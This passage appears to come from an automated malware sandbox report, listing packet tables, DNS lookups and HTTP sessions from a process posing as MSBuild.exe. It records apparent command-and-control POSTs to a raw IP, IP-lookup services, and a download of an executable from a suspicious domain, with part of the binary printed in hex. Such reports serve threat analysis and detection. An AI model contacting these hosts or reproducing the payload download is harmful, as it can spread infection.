Oct 4, 2024 15:54:18.344794035 CEST	443	49985	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:18.344801903 CEST	49985	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:18.344810009 CEST	443	49985	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:18.350930929 CEST	49990	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:18.350948095 CEST	443	49990	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:18.351061106 CEST	49990	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:18.355465889 CEST	49990	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:18.355479002 CEST	443	49990	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:18.427334070 CEST	443	49987	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:18.443048954 CEST	49987	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:18.443073988 CEST	443	49987	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:18.443494081 CEST	49987	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:18.443500996 CEST	443	49987	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:18.448326111 CEST	443	49986	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:18.450275898 CEST	49986	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:18.450289011 CEST	443	49986	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:18.450730085 CEST	49986	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:18.450735092 CEST	443	49986	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:18.728957891 CEST	443	49987	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:18.729115963 CEST	443	49987	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:18.729290962 CEST	49987	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:18.730379105 CEST	443	49986	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:18.730403900 CEST	443	49986	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:18.730446100 CEST	443	49986	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:18.730452061 CEST	49986	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:18.730484962 CEST	49986	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:18.734993935 CEST	49987	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:18.735002041 CEST	443	49987	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:18.735038042 CEST	49987	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:18.735043049 CEST	443	49987	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:18.736059904 CEST	49986	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:18.736059904 CEST	49986	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:18.736078024 CEST	443	49986	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:18.736099005 CEST	443	49986	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:18.923952103 CEST	443	49988	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:18.925708055 CEST	49988	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:18.925745964 CEST	443	49988	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:18.926151037 CEST	49988	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:18.926156998 CEST	443	49988	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:18.973387957 CEST	443	49989	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:18.973871946 CEST	49989	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:18.973890066 CEST	443	49989	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:18.974399090 CEST	49989	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:18.974406004 CEST	443	49989	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:18.999012947 CEST	443	49990	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:18.999479055 CEST	49990	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:18.999491930 CEST	443	49990	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:18.999970913 CEST	49990	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:18.999974966 CEST	443	49990	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:19.020423889 CEST	49796	80	192.168.2.10	46.8.231.109
Oct 4, 2024 15:54:19.026464939 CEST	443	49988	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:19.026609898 CEST	443	49988	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:19.026671886 CEST	49988	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:19.026828051 CEST	49988	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:19.026859045 CEST	443	49988	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:19.026873112 CEST	49988	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:19.026878119 CEST	443	49988	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:19.075800896 CEST	443	49989	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:19.075951099 CEST	443	49989	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:19.076015949 CEST	49989	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:19.076184988 CEST	49989	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:19.076203108 CEST	443	49989	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:19.076214075 CEST	49989	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:19.076220036 CEST	443	49989	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:19.120147943 CEST	443	49990	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:19.120230913 CEST	443	49990	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:19.120315075 CEST	49990	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:19.140779018 CEST	49990	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:19.140786886 CEST	443	49990	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:19.140799046 CEST	49990	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:19.140804052 CEST	443	49990	13.107.246.60	192.168.2.10

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 4, 2024 15:53:36.537841082 CEST	60140	53	192.168.2.10	1.1.1.1
Oct 4, 2024 15:53:36.545475960 CEST	53	60140	1.1.1.1	192.168.2.10
Oct 4, 2024 15:53:37.558054924 CEST	65107	53	192.168.2.10	1.1.1.1
Oct 4, 2024 15:53:37.565474987 CEST	53	65107	1.1.1.1	192.168.2.10
Oct 4, 2024 15:53:44.404459000 CEST	61719	53	192.168.2.10	1.1.1.1
Oct 4, 2024 15:53:44.614389896 CEST	53	61719	1.1.1.1	192.168.2.10
Oct 4, 2024 15:53:47.798646927 CEST	61496	53	192.168.2.10	1.1.1.1
Oct 4, 2024 15:53:47.808520079 CEST	53	61496	1.1.1.1	192.168.2.10
Oct 4, 2024 15:54:10.634274006 CEST	60393	53	192.168.2.10	1.1.1.1
Oct 4, 2024 15:54:10.946432114 CEST	53	60393	1.1.1.1	192.168.2.10

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 4, 2024 15:53:36.537841082 CEST	192.168.2.10	1.1.1.1	0x22dc	Standard query (0)	api64.ipify.org	A (IP address)	IN (0x0001)	false
Oct 4, 2024 15:53:37.558054924 CEST	192.168.2.10	1.1.1.1	0x3ace	Standard query (0)	ipinfo.io	A (IP address)	IN (0x0001)	false
Oct 4, 2024 15:53:44.404459000 CEST	192.168.2.10	1.1.1.1	0x683f	Standard query (0)	jask.powerforxes.shop	A (IP address)	IN (0x0001)	false
Oct 4, 2024 15:53:47.798646927 CEST	192.168.2.10	1.1.1.1	0xce22	Standard query (0)	iplogger.org	A (IP address)	IN (0x0001)	false
Oct 4, 2024 15:54:10.634274006 CEST	192.168.2.10	1.1.1.1	0x743b	Standard query (0)	proxy.johnmccrea.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 4, 2024 15:53:32.730276108 CEST	1.1.1.1	192.168.2.10	0xa7c7	No error (0)	shed.dual-low.s-part-0032.t-0009.t-msedge.net	s-part-0032.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 4, 2024 15:53:32.730276108 CEST	1.1.1.1	192.168.2.10	0xa7c7	No error (0)	s-part-0032.t-0009.t-msedge.net		13.107.246.60	A (IP address)	IN (0x0001)	false
Oct 4, 2024 15:53:36.545475960 CEST	1.1.1.1	192.168.2.10	0x22dc	No error (0)	api64.ipify.org		173.231.16.77	A (IP address)	IN (0x0001)	false
Oct 4, 2024 15:53:36.545475960 CEST	1.1.1.1	192.168.2.10	0x22dc	No error (0)	api64.ipify.org		104.237.62.213	A (IP address)	IN (0x0001)	false
Oct 4, 2024 15:53:37.565474987 CEST	1.1.1.1	192.168.2.10	0x3ace	No error (0)	ipinfo.io		34.117.59.81	A (IP address)	IN (0x0001)	false
Oct 4, 2024 15:53:44.614389896 CEST	1.1.1.1	192.168.2.10	0x683f	No error (0)	jask.powerforxes.shop		147.45.44.104	A (IP address)	IN (0x0001)	false
Oct 4, 2024 15:53:47.808520079 CEST	1.1.1.1	192.168.2.10	0xce22	No error (0)	iplogger.org		104.26.3.46	A (IP address)	IN (0x0001)	false
Oct 4, 2024 15:53:47.808520079 CEST	1.1.1.1	192.168.2.10	0xce22	No error (0)	iplogger.org		172.67.74.161	A (IP address)	IN (0x0001)	false
Oct 4, 2024 15:53:47.808520079 CEST	1.1.1.1	192.168.2.10	0xce22	No error (0)	iplogger.org		104.26.2.46	A (IP address)	IN (0x0001)	false
Oct 4, 2024 15:54:10.946432114 CEST	1.1.1.1	192.168.2.10	0x743b	No error (0)	proxy.johnmccrea.com		141.98.233.156	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

api64.ipify.org

https:

ipinfo.io

iplogger.org

41.216.188.190

jask.powerforxes.shop

46.8.231.109

proxy.johnmccrea.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.10	49720	41.216.188.190	80	8132	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 15:53:35.811278105 CEST	204	OUT	GET /api/wp-ping.php HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: 41.216.188.190
Oct 4, 2024 15:53:36.532332897 CEST	259	IN	HTTP/1.1 200 OK Date: Fri, 04 Oct 2024 13:53:36 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 6 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 66 69 73 68 31 35 Data Ascii: fish15
Oct 4, 2024 15:53:41.026882887 CEST	276	OUT	POST /api/wp-admin.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Content-Length: 133 Host: 41.216.188.190
Oct 4, 2024 15:53:41.026923895 CEST	133	OUT	Data Raw: 64 61 74 61 3d 6b 41 46 37 47 79 39 77 74 68 61 76 56 4c 68 47 6f 51 7a 6b 75 33 41 36 75 2d 38 78 65 38 66 46 48 37 58 55 68 4f 4b 78 5f 33 38 64 37 4d 39 52 36 73 6a 34 50 31 58 53 49 33 4c 55 76 45 68 49 32 74 30 51 35 36 56 45 69 49 36 34 34 Data Ascii: data=kAF7Gy9wthavVLhGoQzku3A6u-8xe8fFH7XUhOKx_38d7M9R6sj4P1XSI3LUvEhI2t0Q56VEiI644393wBzuc_4odq87PBHEDp9NpMtZFr12UsinoewkUcIj3VHvC01q
Oct 4, 2024 15:53:42.134588003 CEST	362	IN	HTTP/1.1 200 OK Date: Fri, 04 Oct 2024 13:53:41 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 108 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 71 56 6f 61 36 62 31 7a 54 76 4b 47 77 50 32 38 38 37 66 35 4a 65 57 51 4f 37 68 67 75 54 6a 36 55 55 4a 38 38 32 59 74 53 43 43 7a 6c 4a 67 68 76 49 4f 46 5a 6b 42 71 4c 79 52 31 41 4d 49 4a 71 4d 55 71 7a 32 6a 34 42 67 43 4b 65 51 58 57 6a 68 4f 5a 63 62 70 75 70 4b 4f 2b 6f 4a 4e 36 37 5a 65 57 4b 6a 56 76 6e 67 55 3d Data Ascii: qVoa6b1zTvKGwP2887f5JeWQO7hguTj6UUJ882YtSCCzlJghvIOFZkBqLyR1AMIJqMUqz2j4BgCKeQXWjhOZcbpupKO+oJN67ZeWKjVvngU=
Oct 4, 2024 15:53:42.276377916 CEST	276	OUT	POST /api/wp-admin.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Content-Length: 133 Host: 41.216.188.190
Oct 4, 2024 15:53:42.276421070 CEST	133	OUT	Data Raw: 64 61 74 61 3d 65 5a 46 4d 33 4c 66 77 6a 65 6b 6d 73 30 50 50 50 4e 61 36 64 48 68 66 45 4c 31 42 49 65 4c 77 59 6a 4b 71 42 71 4d 6c 7a 63 43 67 6e 77 4c 4f 43 43 37 45 78 39 77 4b 62 6c 6b 66 73 39 54 65 58 79 73 76 31 62 38 33 4b 4b 71 35 38 Data Ascii: data=eZFM3Lfwjekms0PPPNa6dHhfEL1BIeLwYjKqBqMlzcCgnwLOCC7Ex9wKblkfs9TeXysv1b83KKq581o88PayQJpBb0T_jCLLS6b2Cgac9sOqDq2rsPQsThNNQW5knQtj
Oct 4, 2024 15:53:43.722224951 CEST	702	IN	HTTP/1.1 200 OK Date: Fri, 04 Oct 2024 13:53:42 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 448 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 41 69 79 43 51 39 68 52 67 34 70 41 72 32 46 41 32 63 64 59 54 6d 64 45 4a 63 6f 70 69 31 61 6b 41 38 52 37 42 74 73 66 69 6f 43 74 5a 4b 39 65 72 6c 6c 76 48 5a 62 58 4f 2b 37 7a 65 43 2f 4e 34 36 6f 49 65 54 7a 62 6a 39 47 4f 45 35 65 43 54 75 4d 42 4d 76 61 61 45 49 45 6e 44 4e 68 54 72 58 38 41 48 41 43 34 48 79 4e 42 41 51 71 2f 6f 47 6c 6c 38 36 7a 37 5a 73 74 66 34 73 42 47 6d 49 76 33 68 61 48 37 61 2f 36 31 57 4d 55 46 53 68 75 30 2f 39 75 6d 4b 70 2f 78 72 76 72 49 63 46 43 6a 30 75 6e 38 47 70 6d 35 4b 37 4c 63 62 63 46 69 42 70 36 39 72 56 77 30 78 48 45 45 52 44 62 4a 70 54 41 63 50 6a 51 55 74 48 45 37 5a 61 2b 4d 62 6d 52 42 46 2b 64 43 38 62 51 6a 4a 6d 62 33 44 55 48 61 76 75 6e 57 52 48 41 46 77 32 66 55 69 54 2b 34 4d 76 53 43 53 49 78 51 45 77 47 66 42 76 6f 41 4f 32 5a 5a 66 43 35 51 74 33 2b 75 30 47 68 36 44 74 59 62 64 6f 46 47 36 6b 2f 72 78 47 6a 36 59 58 4d 51 31 79 6c 4c 53 69 37 4d 6c 62 4b 35 75 4c 52 67 53 2b 6e 69 4a 6c 4b 31 50 30 57 73 43 46 4e 68 39 35 54 52 38 4c [TRUNCATED] Data Ascii: AiyCQ9hRg4pAr2FA2cdYTmdEJcopi1akA8R7BtsfioCtZK9erllvHZbXO+7zeC/N46oIeTzbj9GOE5eCTuMBMvaaEIEnDNhTrX8AHAC4HyNBAQq/oGll86z7Zstf4sBGmIv3haH7a/61WMUFShu0/9umKp/xrvrIcFCj0un8Gpm5K7LcbcFiBp69rVw0xHEERDbJpTAcPjQUtHE7Za+MbmRBF+dC8bQjJmb3DUHavunWRHAFw2fUiT+4MvSCSIxQEwGfBvoAO2ZZfC5Qt3+u0Gh6DtYbdoFG6k/rxGj6YXMQ1ylLSi7MlbK5uLRgS+niJlK1P0WsCFNh95TR8LXLq0+JHyqF5FQw/vYSRlnpIhu++rI+5bJkrleuW2yGt3VGaptYuUG5HJDpyPJIx2TXxNFs5Q1Gy5ADrrhBz/ttY7mBV9eTlCzFVMlRnQptSw7e
Oct 4, 2024 15:53:46.329602003 CEST	276	OUT	POST /api/wp-admin.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Content-Length: 349 Host: 41.216.188.190
Oct 4, 2024 15:53:46.329639912 CEST	349	OUT	Data Raw: 64 61 74 61 3d 31 6f 6c 7a 72 54 65 63 55 68 63 58 53 6d 50 43 36 45 69 6f 46 38 4a 31 69 78 48 39 43 36 53 58 6a 69 4b 48 65 4b 30 76 6b 75 56 43 71 4a 6e 33 46 68 76 46 6a 34 49 33 64 76 55 75 6e 65 43 49 69 53 48 4c 54 71 55 76 4e 2d 77 57 47 Data Ascii: data=1olzrTecUhcXSmPC6EioF8J1ixH9C6SXjiKHeK0vkuVCqJn3FhvFj4I3dvUuneCIiSHLTqUvN-wWGxETL0JX4rQF9MKqJUxXozi8ZXL1VwtKcUgyC1floN2iOeA3yKA_NtCK_R4oOtGjYYmZedeKP-DMKc-hIFywB074OH4S9bB3hU1AftpAGEwQgAp9aHUYaaSu6wJ974GXr0svMHDUBGJI-b-_8TTEZDGS5rZEnQDmlx
Oct 4, 2024 15:53:47.593210936 CEST	362	IN	HTTP/1.1 200 OK Date: Fri, 04 Oct 2024 13:53:46 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 108 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 6f 32 47 73 2f 70 6b 39 68 51 64 74 34 56 31 54 57 62 63 31 6d 50 55 31 45 36 72 4d 54 53 69 34 2f 63 62 64 54 38 6f 6e 64 74 7a 50 6b 76 48 62 50 66 42 65 37 62 56 48 31 36 66 75 77 4d 69 79 6d 79 57 59 30 4d 51 6e 63 58 41 67 52 42 49 66 44 6a 30 49 50 6c 4d 6f 34 4c 42 67 55 45 47 59 4c 35 63 4e 64 30 70 71 69 77 30 3d Data Ascii: o2Gs/pk9hQdt4V1TWbc1mPU1E6rMTSi4/cbdT8ondtzPkvHbPfBe7bVH16fuwMiymyWY0MQncXAgRBIfDj0IPlMo4LBgUEGYL5cNd0pqiw0=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.10	49780	147.45.44.104	80	8132	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 15:53:44.627262115 CEST	226	OUT	HEAD /ldms/7f3c2473d1e6.exe#sp_vid HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: jask.powerforxes.shop Cache-Control: no-cache
Oct 4, 2024 15:53:45.281146049 CEST	309	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 04 Oct 2024 13:53:45 GMT Content-Type: application/octet-stream Content-Length: 563712 Last-Modified: Fri, 04 Oct 2024 13:28:16 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66ffed70-89a00" X-Content-Type-Options: nosniff Accept-Ranges: bytes
Oct 4, 2024 15:53:45.335079908 CEST	225	OUT	GET /ldms/7f3c2473d1e6.exe#sp_vid HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: jask.powerforxes.shop Cache-Control: no-cache
Oct 4, 2024 15:53:45.519012928 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 04 Oct 2024 13:53:45 GMT Content-Type: application/octet-stream Content-Length: 563712 Last-Modified: Fri, 04 Oct 2024 13:28:16 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66ffed70-89a00" X-Content-Type-Options: nosniff Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 dc 6f 0d 92 98 0e 63 c1 98 0e 63 c1 98 0e 63 c1 4b 7c 60 c0 94 0e 63 c1 4b 7c 66 c0 32 0e 63 c1 4b 7c 67 c0 8d 0e 63 c1 4b 7c 62 c0 9b 0e 63 c1 98 0e 62 c1 c0 0e 63 c1 5a 8f 67 c0 8a 0e 63 c1 5a 8f 60 c0 8c 0e 63 c1 5a 8f 66 c0 d6 0e 63 c1 6b 8c 6a c0 99 0e 63 c1 6b 8c 9c c1 99 0e 63 c1 6b 8c 61 c0 99 0e 63 c1 52 69 63 68 98 0e 63 c1 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 6f ed ff 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 27 00 c8 01 00 00 de 06 00 00 00 00 00 2b 6f 00 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$occcK\|`cK\|f2cK\|gcK\|bcbcZgcZ`cZfckjckckacRichcPELof'+o@@0m(xPO@,.text\| `.rdata@@.data&`@.rsrcx@@.reloc~@B
Oct 4, 2024 15:53:45.519138098 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 0H)hA]aYjjhPHH,hA>aYVWjYPH-jVPHA2h"AaY_^HQ-H#)h,A`Yh@
Oct 4, 2024 15:53:45.519150019 CEST	1236	IN	Data Raw: 00 00 59 59 8b c6 5e c2 04 00 55 8b ec 83 e4 f8 83 ec 1c a1 40 80 42 00 33 c4 89 44 24 18 8b 45 10 56 8b f1 8d 4c 24 04 50 e8 fe 14 00 00 8d 44 24 04 8b ce 50 ff 75 0c ff 75 08 e8 3a ff ff ff 8d 4c 24 04 e8 70 15 00 00 8b 4c 24 1c 8b c6 c7 06 28 Data Ascii: YY^U@B3D$EVL$PD$Puu:L$pL$(A^3W]Vt$(A^Vt$WVAFVGW_^OBU}uMjhOBucNYMPXE]D$VtjVYWYY^
Oct 4, 2024 15:53:45.519160986 CEST	1236	IN	Data Raw: e2 fc ff ff 5e 6a 02 58 5f c9 c3 56 8b f1 83 7e 10 00 c7 06 b8 e3 41 00 74 09 ff 76 0c e8 02 9b 00 00 59 ff 76 14 e8 f9 9a 00 00 59 c7 06 5c e2 41 00 5e c3 55 8b ec 83 ec 3c 8d 45 f0 53 56 57 50 8b d9 e8 d5 4a 00 00 8b f0 8d 7b 08 8d 45 c4 50 a5 Data Ascii: ^jX_V~AtvYvY\A^U<ESVWPJ{EP:LYYjY{_^[APt$JfD$YYAPt$t$t$JVt$WPt$Ru;t$u_^Vt$WPt$Rt;t$
Oct 4, 2024 15:53:45.519172907 CEST	896	IN	Data Raw: f3 35 02 00 00 89 45 e4 83 7a 14 0f 89 5d f8 76 05 8b 12 89 55 ec c1 e9 02 89 4d e8 85 c9 0f 84 47 01 00 00 89 55 f4 89 4d f0 0f be f3 66 81 c1 89 02 66 03 c1 f7 e9 66 c1 eb 6a 66 f7 e9 66 81 eb 5e 01 c1 ee fd c1 ea 18 81 ea e1 01 00 00 c1 c6 dd Data Ascii: 5Ez]vUMGUMfffjff^#f3FBfff#w(rXffff'#f%fBff5fff$ff3rBf+ffIf%#N@ffueoff
Oct 4, 2024 15:53:45.519273996 CEST	1236	IN	Data Raw: f7 ef 83 e9 74 eb 0d 4e 03 ca 66 f7 e9 c1 db 68 f7 e9 23 c2 66 48 74 17 f7 e1 66 23 f8 66 03 f8 0f b6 fe 81 e6 46 03 00 00 66 c1 d0 9b eb 06 81 cf b2 02 00 00 66 c1 cf ee c1 e2 65 66 f7 e3 66 be 57 01 c1 eb 43 7f 07 66 f7 e3 66 41 eb 0c 66 4b 66 Data Ascii: tNfh#fHtf#fFffeffWCffAfKffNf'fPft%rDX3ffGfw%D\|gHffffffMHf[JffKfHf ffBf#4tABf@
Oct 4, 2024 15:53:45.519285917 CEST	1236	IN	Data Raw: 66 83 e3 12 f7 e8 66 03 d9 c1 e3 32 f7 e7 81 e9 9a 00 00 00 66 c1 e0 fe 47 66 c1 c3 4f 66 81 ea c9 03 f7 e2 66 c1 eb 09 c1 d0 42 03 d2 74 14 66 ba a8 02 66 f7 ef 66 c1 ef 53 66 b9 51 00 66 f7 e0 eb 05 66 c1 c3 e9 42 66 c1 e7 b6 f7 e9 66 81 c9 3e Data Ascii: ff2fGfOffBtfffSfQffBff>fffsctHfC]f;@ffffcf+AGff#rwEffC3ffOufHfGf+fff@?r'ffff
Oct 4, 2024 15:53:45.519296885 CEST	1236	IN	Data Raw: ff 59 59 83 f8 ff 74 25 8b 75 fc 56 e8 5d 25 00 00 8b 06 59 8b ce ff 50 04 89 35 b4 a6 48 00 8d 4d f8 e8 c1 0e 00 00 5f 8b c6 5e c9 c3 e8 0b ea ff ff cc 6a 24 b8 97 d2 41 00 e8 90 46 00 00 c7 45 e8 00 98 48 00 33 f6 8b c6 89 45 ec 68 2c 4f 42 00 Data Ascii: YYt%uV]%YP5HM_^j$AFEH3Eh,OBFYMH@ H$H;\|;v;\|;v+WfE]}uM@}ujZuHAH%@t9;\|5;v/I@HP8HS
Oct 4, 2024 15:53:45.519310951 CEST	1236	IN	Data Raw: 00 8b c6 5e 8b e5 5d c3 53 8b 5c 24 0c 55 8b e9 b9 ff ff ff 7f 3b d9 77 5a 6a 0f 58 3b d8 77 1a 53 ff 74 24 10 89 5d 10 55 89 45 14 e8 9c fa ff ff 83 c4 0c c6 04 2b 00 eb 34 56 57 51 50 53 e8 2f 05 00 00 8b f0 8d 4e 01 51 e8 6a 07 00 00 53 ff 74 Data Ascii: ^]S\$U;wZjX;wSt$]UE+4VWQPS/NQjSt$(]W}uh_^][SW\|$;wQjX;wjt${SC&J.VQPWNQOQt$${Ps^_[QSL$Uk
Oct 4, 2024 15:53:45.519474983 CEST	1236	IN	Data Raw: 50 04 03 d1 8b 42 0c 6a 04 5e 0b c6 6a 01 33 c9 39 4a 38 0f 45 f1 0b f0 56 8b ca e8 fc e6 ff ff b8 11 35 40 00 c3 83 4d fc ff 6a 04 5e 8b 7d e8 8b 55 e4 8b 07 8b 48 04 03 cf 6a 00 33 c0 39 41 38 0f 45 f0 0b 71 0c 0b f2 56 e8 cd e6 ff ff 8d 4d dc Data Ascii: PBj^j39J8EV5@Mj^}UHj39A8EqVM=<UQQA0SHMPEPYuR Mp[UMV;MwuE+;w2;BE^]@L8t`j(A6<
Oct 4, 2024 15:53:45.519486904 CEST	1236	IN	Data Raw: 2e 00 00 83 c6 18 59 81 fe f8 97 48 00 75 ee 5e 8b c7 5f c3 55 8b ec 8b 45 08 56 8b f1 89 06 85 c0 75 07 e8 5c 7f 00 00 eb 14 83 f8 08 7d 0f 6b c0 18 05 38 97 48 00 50 e8 41 2e 00 00 59 8b c6 5e 5d c2 04 00 83 c8 ff f0 0f c1 05 00 80 42 00 79 19 Data Ascii: .YHu^_UEVu\}k8HPA.Y^]ByV8HV-YHu^}k8HP.YaaAAAUVu5A^]UQVuuA^UVuA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.10	49781	147.45.44.104	80	8132	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
